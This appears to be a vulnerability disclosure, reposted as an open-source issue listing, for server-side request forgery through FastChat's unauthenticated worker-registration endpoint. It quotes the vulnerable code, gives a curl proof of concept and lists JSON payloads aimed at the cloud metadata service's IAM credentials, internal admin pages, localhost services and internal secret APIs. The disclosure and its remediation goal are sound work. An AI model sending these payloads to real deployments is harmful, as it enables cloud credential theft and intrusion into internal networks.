SSRF via Unauthenticated Worker Registration
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 39.5k
- Forks
- 4.8k
- PR merge metrics
- No merged PRs in 30d
Description
Hello, in FastChat controller exposes an unauthenticated `/register_worker` endpoint that allows anyone to register a model worker with an arbitrary URL. The controller then makes HTTP requests to this URL during heartbeat checks and other operations, enabling Server-Side Request Forgery (SSRF).
### Vulnerable Code - Unauthenticated Endpoint (controller.py:288-296)
```python
@app.post("/register_worker")
async def register_worker(request: Request):
data = await request.json()
controller.register_worker(
data["worker_name"], # Attacker-controlled URL!
data["check_heart_beat"],
data.get("worker_status", None),
data.get("multimodal", False),
)
```
### Vulnerable Code - SSRF Trigger (controller.py:104-106)
```python
def get_worker_status(self, worker_name: str):
try:
r = requests.post(worker_name + "/worker_get_status", timeout=5) # SSRF!
```
### Root Cause
1. The `/register_worker` endpoint has NO authentication
2. The `worker_name` parameter accepts any URL without validation
3. The controller makes requests to the registered URL during heartbeat checks
4. No validation blocks internal/private IP addresses
## Attack Vector
1. Attacker sends POST request to `/register_worker` with malicious URL
2. Controller stores the URL as a valid worker address
3. Controller makes HTTP requests to the malicious URL:
- During heartbeat checks (every few seconds)
- When retrieving worker status
- When routing model requests
4. SSRF achieved - attacker can access internal services
## Proof of Concept
### Step 1: Register Malicious Worker
```bash
curl -X POST http://target:21001/register_worker \
-H "Content-Type: application/json" \
-d '{
"worker_name": "http://169.254.169.254/latest/meta-data/",
"check_heart_beat": true,
"multimodal": false
}'
```
### Step 2: Controller Makes SSRF Request
The controller automatically makes a request to:
```
http://169.254.169.254/latest/meta-data//worker_get_status
```
This accesses AWS EC2 instance metadata!
### Attack Payloads
1. **AWS Metadata Access**:
```json
{"worker_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
```
2. **Internal Network Scanning**:
```json
{"worker_name": "http://192.168.1.1:8080/admin"}
```
3. **Localhost Service Access**:
```json
{"worker_name": "http://127.0.0.1:6379"}
```
4. **Internal API Access**:
```json
{"worker_name": "http://internal-api.company.local/secrets"}
```
### Code Path Verification Output
```
[!] VULNERABLE: Unauthenticated /register_worker endpoint
[!] VULNERABLE: SSRF in get_worker_status()
Line 288: @app.post("/register_worker")
Line 289: async def register_worker(request: Request):
Line 290: data = await request.json()
Line 291: controller.register_worker(
Line 292: data["worker_name"],
Line 106: r = requests.post(worker_name + "/worker_get_status", timeout=5)
```
## Impact
- **Cloud Credential Theft**: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
- **Internal Network Access**: Bypass firewalls to access internal services
- **Port Scanning**: Enumerate internal network services
- **Data Exfiltration**: Access internal APIs and databases
- **Lateral Movement**: Use stolen credentials for further attacks
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by reviewing controller.py at the /register_worker endpoint (lines 288-296) and get_worker_status() (lines 104-106), then trace where registered worker URLs are used. Reproduce the reported registration and heartbeat request path in a safe test environment. Done should prevent unauthenticated arbitrary worker URLs from causing requests to internal or private addresses.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- api, backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Stale
- Clarity
- Needs clarification
- Newbie friendliness
- 25/100